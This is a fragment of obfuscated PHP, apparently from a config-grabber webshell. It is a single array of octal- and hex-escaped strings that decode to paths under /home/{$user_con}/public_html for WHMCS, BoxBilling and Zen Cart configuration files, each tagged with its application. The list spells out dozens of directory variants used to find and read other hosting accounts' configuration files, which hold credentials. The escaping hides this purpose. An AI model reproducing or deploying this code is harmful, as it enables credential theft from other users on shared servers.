"\x2f\x68\x6f\155\145\57{$user_con}\x2f\160\x75\x62\154\x69\x63\x5f\x68\x74\x6d\x6c\x2f\167\150\155\x2f\163\165\142\155\151\x74\164\x69\x63\153\145\164\56\x70\x68\x70" => "\127\110\x4d\103\123", "\57\150\157\x6d\x65\57{$user_con}\57\160\x75\x62\154\151\x63\x5f\x68\164\x6d\154\x2f\x48\x4f\x53\x54\x2f\x73\165\x62\155\x69\164\164\x69\143\x6b\x65\x74\56\x70\x68\x70" => "\127\110\x4d\103\x53", "\57\x68\157\155\x65\57{$user_con}\x2f\160\165\x62\154\151\143\x5f\150\x74\155\x6c\57\x48\157\x73\164\57\x73\165\142\155\151\x74\x74\151\x63\x6b\x65\164\x2e\160\x68\x70" => "\127\110\115\103\x53", "\x2f\150\x6f\x6d\x65\x2f{$user_con}\57\x70\165\142\x6c\x69\x63\137\x68\x74\155\154\x2f\x68\x6f\163\x74\x2f\163\x75\x62\155\x69\x74\x74\151\143\x6b\x65\x74\x2e\x70\x68\x70" => "\x57\110\115\103\x53", "\x2f\150\x6f\x6d\145\x2f{$user_con}\57\x70\x75\142\x6c\151\143\137\150\164\155\x6c\x2f\x53\x55\x50\x50\x4f\x52\124\105\123\57\x73\x75\x62\x6d\x69\164\164\151\x63\x6b\x65\x74\56\x70\150\x70" => "\127\x48\x4d\x43\x53", "\x2f\x68\157\x6d\145\x2f{$user_con}\57\x70\x75\142\x6c\151\x63\137\x68\x74\155\x6c\57\x53\165\x70\160\x6f\162\164\145\x73\x2f\x73\165\142\155\151\x74\x74\151\x63\x6b\145\x74\56\x70\x68\160" => "\x57\110\x4d\x43\123", "\57\x68\157\x6d\x65\57{$user_con}\x2f\x70\165\x62\154\x69\143\x5f\150\x74\x6d\x6c\57\x73\165\160\x70\157\x72\x74\145\163\x2f\163\x75\x62\x6d\x69\x74\164\151\143\x6b\x65\x74\56\x70\150\160" => "\x57\110\x4d\x43\123", "\x2f\150\157\x6d\x65\57{$user_con}\x2f\x70\165\x62\154\151\x63\x5f\x68\164\x6d\x6c\x2f\x64\x6f\155\x61\x69\156\x73\57\x73\x75\142\155\151\164\164\151\x63\153\145\x74\x2e\x70\150\160" => "\127\110\115\x43\123", "\x2f\150\x6f\x6d\x65\x2f{$user_con}\57\160\x75\x62\154\151\x63\137\x68\x74\155\x6c\x2f\144\x6f\x6d\141\151\156\57\x73\165\142\155\151\x74\x74\x69\143\x6b\x65\x74\x2e\160\150\160" => "\127\x48\115\x43\123", "\57\150\157\155\x65\x2f{$user_con}\57\160\x75\142\154\x69\x63\137\x68\x74\x6d\154\x2f\110\x6f\x73\164\x69\x6e\x67\57\163\x75\x62\x6d\x69\164\164\151\x63\x6b\x65\164\56\160\150\x70" => "\x57\x48\115\x43\123", "\x2f\150\157\155\x65\x2f{$user_con}\x2f\160\x75\142\154\151\143\x5f\150\164\x6d\x6c\57\110\x4f\x53\x54\x49\x4e\107\57\x73\x75\142\155\x69\x74\x74\151\143\x6b\x65\164\x2e\160\150\x70" => "\x57\x48\x4d\x43\123", "\57\150\x6f\x6d\145\57{$user_con}\57\160\x75\x62\154\x69\x63\x5f\150\x74\x6d\154\57\x68\157\163\x74\x69\156\147\57\163\x75\142\155\x69\164\164\151\143\x6b\145\x74\x2e\x70\150\160" => "\127\x48\115\103\123", "\x2f\150\x6f\x6d\145\57{$user_con}\x2f\x70\x75\x62\154\x69\143\x5f\x68\x74\155\154\x2f\103\x41\122\124\x2f\163\165\x62\155\x69\x74\x74\x69\143\153\145\164\x2e\160\150\160" => "\127\110\115\103\x53", "\57\x68\x6f\155\145\57{$user_con}\x2f\x70\x75\142\x6c\151\x63\x5f\150\164\x6d\154\x2f\x43\141\x72\164\57\163\165\142\155\x69\x74\x74\151\143\153\145\x74\x2e\160\x68\160" => "\x57\110\x4d\103\123", "\57\x68\x6f\155\145\57{$user_con}\57\160\165\x62\154\151\x63\137\x68\164\155\x6c\57\143\141\162\x74\x2f\x73\165\142\155\151\x74\x74\151\x63\153\145\164\x2e\x70\x68\x70" => "\127\110\x4d\x43\123", "\x2f\150\x6f\x6d\x65\57{$user_con}\57\160\165\x62\x6c\x69\x63\x5f\x68\x74\x6d\x6c\57\117\x52\x44\105\122\57\x73\165\142\x6d\x69\164\164\151\x63\x6b\x65\x74\56\x70\150\x70" => "\x57\x48\115\103\x53", "\57\x68\157\x6d\x65\57{$user_con}\57\160\165\x62\154\151\x63\x5f\150\164\x6d\154\57\x4f\x72\144\x65\x72\57\163\x75\x62\155\x69\x74\x74\151\143\153\145\x74\x2e\160\150\160" => "\x57\x48\115\x43\123", "\x2f\150\x6f\x6d\145\x2f{$user_con}\x2f\x70\x75\142\x6c\x69\143\x5f\150\x74\x6d\x6c\57\157\162\x64\145\x72\57\163\165\x62\155\151\x74\164\x69\x63\153\145\x74\x2e\160\150\x70" => "\127\x48\115\x43\123", "\57\x68\x6f\155\x65\57{$user_con}\x2f\x70\165\142\x6c\x69\x63\x5f\x68\x74\155\154\57\103\114\x49\x45\116\x54\57\163\x75\142\x6d\x69\164\x74\151\x63\153\145\x74\56\160\150\160" => "\127\x48\115\x43\123", "\x2f\150\157\155\x65\x2f{$user_con}\57\x70\x75\x62\x6c\151\x63\137\150\164\x6d\154\57\103\x6c\151\x65\x6e\164\57\163\165\x62\x6d\x69\x74\164\x69\143\x6b\145\164\x2e\x70\x68\x70" => "\127\x48\115\103\123", "\57\x68\157\155\145\57{$user_con}\x2f\x70\165\x62\x6c\151\143\137\x68\x74\155\154\x2f\143\154\x69\145\156\164\x2f\x73\x75\x62\155\x69\x74\x74\151\143\x6b\145\164\56\160\x68\160" => "\x57\x48\x4d\x43\123", "\57\x68\x6f\155\145\57{$user_con}\x2f\x70\x75\142\154\151\x63\137\x68\164\155\154\x2f\x43\114\x49\x45\116\124\101\122\105\x41\57\x73\165\x62\155\x69\164\164\151\x63\153\145\x74\x2e\x70\x68\160" => "\127\x48\x4d\103\123", "\x2f\x68\157\155\x65\57{$user_con}\x2f\160\x75\142\x6c\x69\143\x5f\x68\x74\x6d\x6c\x2f\x43\154\x69\145\156\164\141\162\x65\x61\x2f\x73\165\x62\155\151\x74\x74\x69\x63\153\145\x74\56\160\150\160" => "\x57\110\115\x43\123", "\x2f\150\157\x6d\x65\57{$user_con}\57\160\165\142\154\151\x63\137\x68\164\x6d\154\57\x63\154\x69\145\x6e\x74\x61\x72\x65\141\x2f\163\165\142\155\151\x74\164\x69\x63\x6b\x65\x74\x2e\x70\150\x70" => "\x57\x48\115\103\123", "\57\x68\157\155\145\57{$user_con}\57\x70\165\x62\154\151\143\137\150\164\x6d\x6c\x2f\123\x55\120\x50\x4f\122\124\x2f\x73\165\x62\x6d\151\164\164\151\143\153\145\x74\x2e\160\x68\160" => "\x57\110\115\103\x53", "\x2f\x68\x6f\155\145\x2f{$user_con}\57\x70\165\142\154\x69\x63\137\150\x74\155\154\x2f\123\x75\x70\x70\x6f\162\x74\57\x73\x75\142\155\151\164\164\x69\x63\153\x65\164\x2e\x70\x68\x70" => "\x57\110\x4d\103\x53", "\57\x68\157\155\145\57{$user_con}\57\x70\165\x62\154\151\x63\137\150\x74\x6d\x6c\x2f\163\165\x70\160\157\162\164\x2f\x73\x75\x62\x6d\x69\x74\164\x69\143\153\x65\164\56\x70\x68\x70" => "\x57\x48\115\x43\123", "\x2f\x68\157\x6d\145\x2f{$user_con}\x2f\x70\165\142\x6c\151\143\x5f\x68\x74\x6d\x6c\x2f\x42\111\114\114\111\116\x47\x2f\163\165\142\x6d\x69\x74\164\x69\143\x6b\145\164\x2e\160\x68\160" => "\x57\x48\x4d\x43\123", "\x2f\x68\x6f\x6d\x65\57{$user_con}\57\160\x75\x62\154\x69\143\137\150\x74\x6d\154\57\102\x69\154\x6c\x69\x6e\147\57\163\165\142\x6d\x69\164\x74\x69\x63\153\145\x74\x2e\160\x68\x70" => "\x57\110\x4d\x43\123", "\x2f\150\157\155\x65\x2f{$user_con}\x2f\x70\165\142\x6c\x69\x63\137\150\164\x6d\x6c\x2f\x62\x69\x6c\x6c\151\x6e\147\57\x73\165\x62\x6d\151\164\x74\x69\x63\x6b\145\164\x2e\x70\x68\160" => "\127\x48\x4d\103\x53", "\x2f\x68\157\155\x65\57{$user_con}\x2f\x70\165\x62\154\x69\143\137\150\164\155\x6c\57\x42\x55\x59\x2f\163\x75\155\x69\x74\164\151\143\153\x65\x74\x2e\x70\x68\160" => "\x57\110\x4d\103\123", "\x2f\150\x6f\155\145\57{$user_con}\x2f\160\x75\x62\154\x69\x63\x5f\x68\164\155\x6c\57\x42\165\171\57\x73\x75\x62\x6d\x69\164\x74\x69\143\153\145\x74\x2e\160\x68\x70" => "\127\x48\x4d\x43\123", "\x2f\x68\157\155\x65\x2f{$user_con}\57\x70\x75\142\x6c\x69\x63\x5f\150\x74\155\x6c\57\142\165\171\57\163\165\142\155\151\x74\164\151\143\x6b\145\x74\x2e\160\150\160" => "\127\x48\x4d\x43\123", "\x2f\x68\x6f\x6d\x65\57{$user_con}\x2f\x70\x75\x62\x6c\151\143\x5f\150\x74\155\x6c\57\x4d\101\116\101\x47\x45\x2f\x73\x75\142\155\x69\164\x74\x69\143\x6b\x65\x74\x2e\160\x68\x70" => "\127\110\115\x43\123", "\57\x68\157\155\x65\57{$user_con}\x2f\x70\x75\x62\x6c\151\143\137\x68\164\x6d\x6c\x2f\x4d\x61\x6e\141\147\x65\57\163\x75\142\x6d\x69\164\x74\x69\x63\153\x65\164\56\160\x68\x70" => "\x57\110\115\103\x53", "\x2f\150\x6f\155\145\x2f{$user_con}\57\x70\x75\142\154\x69\x63\137\150\164\x6d\x6c\57\155\x61\156\x61\147\145\57\163\165\142\x6d\151\164\164\151\143\153\145\164\56\x70\150\x70" => "\127\110\x4d\103\x53", "\57\x68\x6f\155\145\x2f{$user_con}\x2f\160\165\x62\x6c\151\x63\x5f\x68\x74\x6d\x6c\57\x43\x4c\x49\x45\116\124\x53\125\x50\x50\117\x52\124\57\163\x75\142\155\151\164\x74\151\x63\153\145\x74\x2e\160\150\x70" => "\x57\x48\115\x43\x53", "\57\150\157\x6d\x65\x2f{$user_con}\57\x70\x75\x62\x6c\151\143\x5f\x68\x74\x6d\x6c\57\x43\x6c\151\x65\x6e\x74\x53\165\x70\x70\157\x72\164\57\x73\x75\142\x6d\151\x74\x74\x69\x63\x6b\x65\x74\x2e\x70\x68\x70" => "\127\110\x4d\103\x53", "\x2f\x68\x6f\155\x65\57{$user_con}\x2f\160\x75\x62\x6c\x69\143\x5f\x68\164\x6d\x6c\57\x43\x6c\x69\x65\156\164\163\165\160\x70\x6f\162\x74\x2f\163\x75\142\155\151\164\x74\151\143\x6b\145\164\56\x70\x68\160" => "\127\x48\x4d\x43\123", "\57\150\x6f\155\145\x2f{$user_con}\57\x70\165\142\154\x69\x63\x5f\150\x74\x6d\154\57\143\154\x69\145\x6e\x74\x73\x75\x70\x70\x6f\162\x74\57\x73\165\142\155\151\164\x74\151\143\153\x65\164\x2e\160\150\160" => "\127\110\x4d\x43\123", "\57\150\x6f\x6d\145\57{$user_con}\57\160\165\142\154\x69\143\137\150\164\155\x6c\57\x43\110\105\x43\113\117\125\x54\57\163\x75\x62\x6d\x69\x74\x74\151\x63\x6b\145\164\56\x70\150\x70" => "\x57\110\115\x43\x53", "\x2f\x68\157\155\145\57{$user_con}\x2f\x70\165\142\x6c\x69\x63\x5f\150\164\155\x6c\x2f\103\x68\x65\143\153\157\165\164\x2f\163\165\142\155\151\164\164\x69\143\153\145\x74\x2e\160\x68\x70" => "\127\x48\x4d\x43\123", "\x2f\150\157\x6d\145\x2f{$user_con}\x2f\160\165\142\154\151\143\137\x68\x74\x6d\x6c\x2f\143\x68\145\x63\153\157\x75\164\x2f\163\x75\142\155\x69\x74\x74\151\143\153\x65\164\x2e\x70\150\x70" => "\x57\x48\x4d\x43\123", "\x2f\x68\x6f\155\x65\57{$user_con}\57\160\x75\x62\x6c\151\x63\137\150\164\x6d\x6c\57\102\x49\114\x4c\111\116\x47\x53\x2f\163\165\142\x6d\x69\164\164\151\143\x6b\145\164\56\160\x68\160" => "\127\110\x4d\x43\x53", "\57\150\157\155\x65\57{$user_con}\57\x70\165\142\x6c\x69\x63\137\x68\x74\x6d\154\x2f\102\x69\154\x6c\151\x6e\147\163\57\x73\x75\x62\x6d\x69\164\x74\x69\143\x6b\x65\x74\x2e\160\x68\x70" => "\127\x48\x4d\x43\123", "\x2f\x68\x6f\155\x65\57{$user_con}\57\160\165\142\154\151\x63\x5f\150\164\155\154\57\x62\151\x6c\154\151\x6e\147\163\x2f\x73\165\x62\x6d\x69\x74\x74\151\143\153\145\x74\56\160\150\x70" => "\127\110\115\103\123", "\x2f\150\x6f\155\x65\57{$user_con}\57\x70\165\142\154\151\x63\x5f\x68\x74\x6d\154\x2f\102\x41\x53\x4b\x45\124\x2f\x73\165\142\155\x69\164\x74\x69\143\153\x65\164\56\160\150\160" => "\127\x48\115\103\x53", "\x2f\x68\x6f\155\x65\57{$user_con}\x2f\160\x75\x62\154\x69\143\x5f\x68\164\x6d\154\x2f\102\141\x73\153\145\x74\57\x73\x75\x62\x6d\x69\164\164\x69\x63\153\x65\164\56\x70\150\x70" => "\127\110\x4d\103\x53", "\57\x68\x6f\155\145\57{$user_con}\57\x70\165\x62\154\151\x63\x5f\x68\x74\x6d\x6c\x2f\142\141\x73\x6b\145\x74\x2f\x73\x75\142\155\151\164\x74\151\x63\153\x65\164\x2e\160\x68\160" => "\x57\110\115\103\x53", "\57\x68\157\155\x65\57{$user_con}\57\x70\165\142\x6c\x69\143\x5f\150\164\x6d\x6c\x2f\x53\x45\x43\x55\x52\x45\57\x73\x75\142\155\x69\x74\x74\x69\x63\x6b\x65\164\x2e\x70\x68\x70" => "\x57\x48\x4d\x43\123", "\x2f\150\x6f\x6d\145\57{$user_con}\x2f\x70\165\142\154\151\143\137\x68\164\x6d\154\57\123\145\143\165\x72\145\x2f\x73\x75\x62\155\151\x74\164\151\143\x6b\x65\x74\x2e\x70\150\160" => "\x57\110\x4d\103\123", "\57\x68\x6f\x6d\x65\x2f{$user_con}\x2f\160\x75\142\154\151\x63\137\150\x74\155\154\57\163\145\143\x75\x72\145\x2f\163\165\142\x6d\151\164\x74\x69\143\153\x65\x74\x2e\160\x68\x70" => "\127\110\x4d\103\x53", "\x2f\150\157\x6d\145\57{$user_con}\57\x70\x75\x62\154\x69\143\x5f\150\164\155\x6c\57\x53\x41\114\105\x53\x2f\x73\x75\x62\x6d\x69\x74\x74\151\143\x6b\x65\x74\56\160\150\160" => "\x57\110\115\103\123", "\x2f\x68\x6f\155\x65\57{$user_con}\x2f\x70\165\x62\x6c\151\x63\137\x68\x74\x6d\x6c\57\123\x61\154\x65\163\57\163\165\142\x6d\151\x74\164\151\x63\153\x65\164\56\160\x68\160" => "\x57\110\x4d\103\x53", "\x2f\150\157\x6d\x65\57{$user_con}\x2f\160\x75\142\154\x69\143\137\x68\164\x6d\x6c\x2f\x73\x61\x6c\145\x73\57\x73\x75\x62\x6d\x69\164\164\151\x63\153\x65\x74\56\160\150\x70" => "\127\110\115\103\123", "\57\150\x6f\155\x65\57{$user_con}\57\160\x75\x62\x6c\151\143\x5f\x68\164\155\x6c\x2f\102\111\x4c\x4c\x2f\x73\165\x62\155\151\x74\164\151\143\x6b\x65\x74\x2e\160\150\x70" => "\127\110\115\103\x53", "\x2f\150\x6f\155\x65\57{$user_con}\x2f\160\165\x62\154\x69\x63\137\x68\x74\155\154\x2f\102\151\x6c\x6c\57\163\x75\142\x6d\x69\164\x74\x69\143\153\x65\x74\x2e\x70\x68\160" => "\x57\110\x4d\103\123", "\57\150\x6f\155\x65\57{$user_con}\x2f\160\x75\x62\x6c\151\143\x5f\x68\164\155\154\57\x62\151\x6c\x6c\57\x73\165\142\155\151\x74\164\151\143\x6b\x65\x74\x2e\x70\x68\160" => "\x57\110\115\x43\x53", "\57\150\157\x6d\145\x2f{$user_con}\57\x70\x75\142\x6c\151\143\x5f\150\164\155\154\57\x50\125\x52\103\110\101\123\105\x2f\163\x75\142\x6d\x69\164\x74\x69\x63\x6b\x65\x74\56\160\150\160" => "\x57\x48\x4d\103\123", "\57\150\157\155\x65\x2f{$user_con}\57\160\165\142\154\x69\x63\137\x68\x74\155\154\x2f\x50\165\x72\x63\x68\x61\x73\145\x2f\163\165\x62\x6d\x69\164\164\151\143\x6b\x65\164\x2e\160\150\x70" => "\127\110\115\103\x53", "\x2f\x68\157\x6d\145\57{$user_con}\57\160\165\142\154\151\x63\137\x68\x74\155\x6c\x2f\160\165\162\143\150\141\163\145\57\163\165\142\155\151\164\x74\151\143\x6b\x65\164\56\x70\x68\160" => "\x57\110\115\x43\x53", "\57\150\x6f\155\x65\x2f{$user_con}\x2f\x70\165\x62\x6c\151\x63\137\150\164\x6d\154\x2f\101\103\x43\117\125\x4e\124\x2f\x73\165\x62\x6d\151\x74\x74\151\143\153\x65\164\x2e\160\x68\160" => "\x57\x48\x4d\103\x53", "\57\150\157\155\x65\57{$user_con}\57\x70\165\x62\x6c\151\143\x5f\x68\164\155\x6c\x2f\x41\143\143\x6f\165\156\164\x2f\x73\165\x62\x6d\x69\164\x74\151\143\153\145\x74\x2e\x70\150\x70" => "\x57\110\x4d\103\123", "\57\150\157\x6d\145\x2f{$user_con}\x2f\x70\x75\x62\x6c\x69\x63\x5f\150\x74\x6d\x6c\57\141\143\x63\x6f\x75\156\164\x2f\x73\165\x62\155\151\x74\164\151\x63\153\x65\x74\56\x70\150\160" => "\x57\x48\115\103\123", "\57\x68\157\155\145\57{$user_con}\x2f\x70\x75\142\x6c\x69\143\x5f\x68\164\x6d\154\x2f\x55\x53\x45\122\x2f\x73\x75\142\x6d\151\164\164\151\143\153\x65\x74\56\x70\150\160" => "\x57\x48\115\103\x53", "\x2f\150\x6f\x6d\145\x2f{$user_con}\57\x70\165\142\154\x69\x63\137\150\x74\155\x6c\57\x55\x73\145\162\x2f\163\x75\x62\155\x69\164\x74\151\143\153\x65\x74\56\160\150\160" => "\127\110\115\103\123", "\x2f\x68\x6f\x6d\145\57{$user_con}\57\x70\x75\x62\x6c\151\x63\x5f\150\164\x6d\154\x2f\165\x73\145\162\x2f\x73\x75\142\x6d\x69\164\164\151\143\153\x65\x74\56\160\x68\160" => "\127\110\115\103\x53", "\57\150\157\155\145\x2f{$user_con}\x2f\x70\165\142\154\x69\143\x5f\x68\x74\x6d\x6c\x2f\x43\114\111\x45\116\x54\123\x2f\x73\x75\142\155\x69\x74\164\x69\x63\x6b\x65\x74\x2e\x70\x68\160" => "\x57\x48\x4d\103\123", "\x2f\150\157\155\x65\57{$user_con}\57\x70\x75\x62\x6c\151\x63\137\150\164\x6d\154\x2f\103\x6c\x69\x65\x6e\x74\163\57\x73\165\142\x6d\151\x74\x74\x69\x63\153\x65\x74\56\160\x68\160" => "\x57\110\x4d\x43\x53", "\57\150\x6f\x6d\x65\57{$user_con}\57\x70\x75\142\x6c\x69\x63\137\x68\164\x6d\154\57\x63\154\x69\145\x6e\x74\163\x2f\163\165\142\155\151\164\x74\151\143\x6b\145\164\x2e\160\x68\x70" => "\127\110\x4d\103\x53", "\57\x68\x6f\x6d\x65\x2f{$user_con}\x2f\x70\165\142\154\x69\x63\x5f\x68\x74\155\154\x2f\x42\111\114\114\x49\x4e\x47\x53\57\163\165\x62\x6d\151\x74\x74\x69\x63\153\x65\x74\56\x70\x68\160" => "\127\110\x4d\x43\x53", "\x2f\150\157\x6d\145\57{$user_con}\x2f\x70\165\142\x6c\x69\x63\x5f\150\164\x6d\154\57\102\151\154\154\151\x6e\147\x73\57\163\x75\x62\x6d\x69\164\164\151\143\153\145\164\x2e\160\x68\x70" => "\x57\110\115\x43\123", "\57\150\157\155\x65\x2f{$user_con}\57\160\165\x62\154\151\143\x5f\x68\164\155\154\57\142\151\x6c\154\151\156\147\x73\57\x73\165\x62\155\x69\164\x74\x69\143\153\x65\x74\56\x70\x68\160" => "\x57\x48\115\103\x53", "\57\150\x6f\155\145\x2f{$user_con}\x2f\160\165\142\x6c\151\143\x5f\150\x74\155\154\57\x4d\131\x2f\163\165\142\155\x69\164\x74\151\143\x6b\x65\x74\x2e\160\x68\x70" => "\127\110\x4d\x43\123", "\57\150\x6f\x6d\x65\57{$user_con}\57\x70\x75\x62\x6c\x69\143\137\x68\164\x6d\154\x2f\115\171\x2f\x73\165\x62\x6d\151\x74\x74\x69\143\x6b\x65\x74\56\x70\150\x70" => "\127\110\115\103\x53", "\x2f\150\x6f\x6d\x65\x2f{$user_con}\x2f\160\x75\142\x6c\x69\143\x5f\150\x74\155\x6c\x2f\155\171\x2f\163\x75\142\155\151\x74\164\x69\143\x6b\x65\164\x2e\x70\x68\160" => "\127\110\x4d\103\x53", "\x2f\x68\x6f\155\145\57{$user_con}\x2f\x70\x75\x62\x6c\151\x63\137\x68\164\155\154\57\163\x65\x63\x75\162\x65\x2f\167\150\x6d\x2f\x73\165\142\x6d\x69\x74\x74\x69\x63\x6b\x65\x74\56\x70\150\160" => "\x57\x48\115\x43\x53", "\57\150\x6f\x6d\x65\57{$user_con}\x2f\x70\165\142\154\x69\x63\137\150\x74\x6d\154\x2f\163\x65\x63\165\162\x65\x2f\x77\x68\x6d\x63\x73\57\x73\x75\x62\x6d\151\x74\x74\151\x63\153\x65\x74\56\x70\150\x70" => "\x57\x48\x4d\103\x53", "\57\x68\x6f\155\145\57{$user_con}\x2f\x70\x75\142\154\151\143\137\x68\x74\155\x6c\57\160\141\x6e\x65\154\x2f\x73\x75\142\155\x69\164\x74\151\143\153\145\164\56\160\x68\160" => "\127\110\115\x43\x53", "\x2f\150\x6f\155\145\57{$user_con}\57\x70\x75\x62\x6c\x69\143\x5f\150\x74\155\154\57\x63\x6c\151\145\156\x74\x65\163\57\163\165\x62\155\151\164\x74\151\x63\153\145\164\56\160\150\160" => "\127\110\115\x43\123", "\57\x68\x6f\155\x65\57{$user_con}\57\160\165\142\x6c\x69\x63\137\x68\164\x6d\x6c\57\143\154\151\x65\x6e\x74\145\x2f\x73\x75\x62\155\x69\164\164\x69\143\x6b\145\164\x2e\160\x68\x70" => "\x57\110\115\103\x53", "\x2f\150\157\x6d\145\x2f{$user_con}\57\x70\x75\142\154\x69\x63\137\150\164\x6d\x6c\57\x73\165\x70\x70\x6f\162\x74\x2f\157\x72\x64\x65\x72\57\163\165\142\155\151\164\164\151\x63\153\x65\164\56\x70\x68\x70" => "\x57\x48\115\x43\x53", "\x2f\x68\157\155\x65\x2f{$user_con}\57\x70\165\x62\x6c\151\143\x5f\150\164\155\154\x2f\x62\142\55\143\x6f\156\x66\151\x67\56\x70\150\160" => "\102\x6f\x78\102\151\154\x6c\151\156\147", "\x2f\x68\157\x6d\145\x2f{$user_con}\x2f\x70\165\x62\154\151\x63\137\x68\x74\155\x6c\57\142\157\170\x62\151\x6c\154\151\156\147\x2f\x62\142\x2d\143\157\x6e\146\151\x67\56\160\150\x70" => "\x42\x6f\170\102\151\x6c\x6c\x69\156\x67", "\x2f\x68\x6f\x6d\145\57{$user_con}\57\160\x75\x62\x6c\x69\x63\x5f\x68\164\155\154\x2f\x62\157\170\x2f\x62\142\x2d\x63\x6f\156\146\x69\x67\56\160\150\160" => "\x42\x6f\170\x42\x69\154\154\151\x6e\147", "\x2f\x68\157\x6d\145\57{$user_con}\x2f\x70\165\142\154\x69\x63\137\x68\x74\x6d\154\57\150\x6f\163\x74\x2f\x62\x62\x2d\x63\x6f\156\x66\x69\147\56\160\150\160" => "\x42\157\170\102\151\x6c\x6c\x69\x6e\147", "\x2f\x68\157\155\145\57{$user_con}\x2f\x70\165\x62\x6c\151\x63\x5f\x68\164\x6d\154\57\x48\x6f\163\x74\57\142\x62\x2d\143\157\x6e\146\151\147\x2e\x70\x68\160" => "\102\157\x78\102\151\154\154\151\x6e\147", "\57\150\157\155\145\x2f{$user_con}\x2f\160\x75\142\154\x69\x63\x5f\x68\164\x6d\154\x2f\163\165\x70\x70\157\x72\x74\145\x73\57\142\142\55\143\x6f\156\146\x69\x67\56\x70\x68\160" => "\x42\157\170\102\x69\x6c\x6c\151\156\x67", "\57\x68\157\155\145\57{$user_con}\57\160\165\x62\x6c\x69\x63\137\150\x74\155\x6c\x2f\x73\165\x70\160\157\x72\164\x2f\x62\142\x2d\143\x6f\x6e\146\x69\147\x2e\x70\150\x70" => "\x42\x6f\170\102\x69\154\x6c\151\156\147", "\x2f\x68\157\155\x65\x2f{$user_con}\x2f\x70\165\142\x6c\151\x63\137\x68\164\x6d\x6c\x2f\150\x6f\x73\164\151\156\147\57\142\142\x2d\x63\x6f\156\146\151\x67\56\160\150\160" => "\102\157\x78\102\x69\x6c\x6c\x69\x6e\147", "\x2f\150\x6f\155\145\x2f{$user_con}\x2f\160\165\142\154\151\x63\137\x68\x74\155\154\x2f\x63\x61\162\164\57\142\x62\x2d\143\x6f\156\146\151\x67\56\160\150\x70" => "\102\157\170\102\151\x6c\154\151\156\147", "\x2f\150\157\155\x65\x2f{$user_con}\x2f\160\x75\142\154\151\x63\137\x68\x74\155\154\57\x6f\x72\144\x65\x72\x2f\x62\x62\x2d\143\157\x6e\146\151\x67\56\160\150\160" => "\x42\x6f\170\102\x69\154\x6c\x69\156\147", "\57\x68\157\x6d\145\x2f{$user_con}\57\x70\x75\x62\154\151\x63\x5f\x68\164\x6d\154\x2f\143\x6c\151\x65\x6e\x74\57\x62\142\55\x63\157\156\146\x69\x67\56\x70\150\x70" => "\x42\157\x78\x42\x69\154\154\151\x6e\x67", "\x2f\x68\157\155\145\57{$user_con}\x2f\x70\165\142\x6c\x69\143\137\x68\x74\x6d\x6c\57\143\x6c\151\x65\156\x74\x73\x2f\x62\x62\x2d\143\157\x6e\x66\x69\x67\56\160\150\160" => "\x42\157\170\102\x69\x6c\154\x69\156\147", "\57\x68\x6f\155\x65\57{$user_con}\57\x70\x75\142\x6c\x69\143\137\x68\164\155\x6c\x2f\x63\154\x69\x65\x6e\164\145\x2f\x62\x62\x2d\x63\157\156\146\x69\147\x2e\160\x68\x70" => "\102\x6f\170\102\x69\x6c\x6c\151\x6e\x67", "\57\150\x6f\155\x65\57{$user_con}\57\160\165\x62\x6c\151\x63\137\150\x74\x6d\154\57\x63\x6c\x69\x65\x6e\x74\x65\x73\57\x62\142\55\x63\157\156\x66\151\x67\56\160\150\x70" => "\x42\157\x78\x42\x69\x6c\x6c\151\156\x67", "\x2f\150\157\155\145\x2f{$user_con}\x2f\x70\165\142\154\151\x63\137\150\164\x6d\x6c\x2f\142\151\x6c\x6c\151\156\x67\57\142\x62\55\143\157\x6e\x66\x69\147\56\160\x68\x70" => "\102\157\x78\x42\151\x6c\x6c\151\x6e\x67", "\x2f\x68\157\x6d\x65\x2f{$user_con}\x2f\x70\165\142\154\x69\x63\137\150\164\x6d\x6c\x2f\142\151\x6c\x6c\151\x6e\147\163\x2f\142\x62\55\143\x6f\x6e\146\151\x67\56\x70\150\x70" => "\x42\x6f\x78\x42\151\x6c\x6c\x69\x6e\147", "\x2f\x68\157\x6d\x65\57{$user_con}\57\x70\165\142\x6c\x69\x63\x5f\150\x74\155\154\x2f\x6d\171\x2f\142\x62\x2d\143\x6f\156\x66\151\x67\x2e\160\x68\160" => "\x42\157\170\x42\x69\154\x6c\151\156\x67", "\57\x68\x6f\x6d\145\57{$user_con}\x2f\x70\165\x62\x6c\151\x63\x5f\150\x74\155\154\57\163\x65\x63\165\162\145\57\x62\142\55\143\x6f\156\146\151\147\x2e\160\x68\160" => "\x42\x6f\170\x42\151\x6c\154\151\x6e\x67", "\57\150\157\155\x65\57{$user_con}\x2f\160\165\142\x6c\x69\143\x5f\x68\x74\155\x6c\57\x73\165\x70\160\x6f\x72\164\57\157\x72\144\x65\162\57\x62\x62\x2d\143\x6f\156\146\151\x67\56\160\150\x70" => "\x42\x6f\x78\x42\151\x6c\x6c\151\x6e\x67", "\x2f\x68\x6f\x6d\x65\57{$user_con}\x2f\160\165\x62\154\x69\x63\137\x68\x74\155\154\57\151\156\143\154\165\x64\145\163\x2f\144\151\x73\x74\55\x63\x6f\x6e\146\151\x67\x75\162\145\56\x70\x68\160" => "\x5a\x65\156\x63\x61\162\x74", "\x2f\150\x6f\155\145\x2f{$user_con}\57\x70\x75\142\x6c\151\143\x5f\x68\x74\x6d\154\x2f\x7a\x65\156\x63\x61\162\x74\57\x69\x6e\143\x6c\x75\x64\145\163\x2f\x64\x69\x73\x74\55\x63\x6f\156\146\x69\x67\x75\162\x65\56\x70\x68\160" => "\132\145\x6e\x63\141\162\x74", "\57\150\157\x6d\145\x2f{$user_con}\x2f\160\x75\x62\154\151\143\x5f\x68\x74\x6d\x6c\x2f\x70\x72\157\144\x75\143\x74\x73\x2f\151\x6e\143\x6c\165\144\x65\163\x2f\144\151\163\x74\55\143\157\156\146\x69\x67\165\162\x65\x2e\x70\150\160" => "\132\145\x6e\143\141\x72\x74", "\x2f\x68\157\155\x65\57{$user_con}\x2f\x70\165\142\x6c\151\143\x5f\x68\x74\x6d\154\57\143\x61\x72\x74\x2f\151\x6e\x63\x6c\x75\144\145\x73\57\x64\x69\163\x74\x2d\x63\x6f\156\146\x69\x67\165\162\145\56\160\150\160" => "\x5a\x65\156\x63\141\162\164", "\x2f\x68\157\x6d\x65\x2f{$user_con}\57\x70\x75\x62\154\x69\143\x5f\x68\164\155\x6c\57\x73\x68\157\x70\x2f\x69\156\143\x6c\x75\144\x65\163\x2f\144\x69\x73\x74\x2d\143\157\156\146\151\147\165\162\145\56\x70\150\160" => "\132\145\156\143\x61\x72\x74", 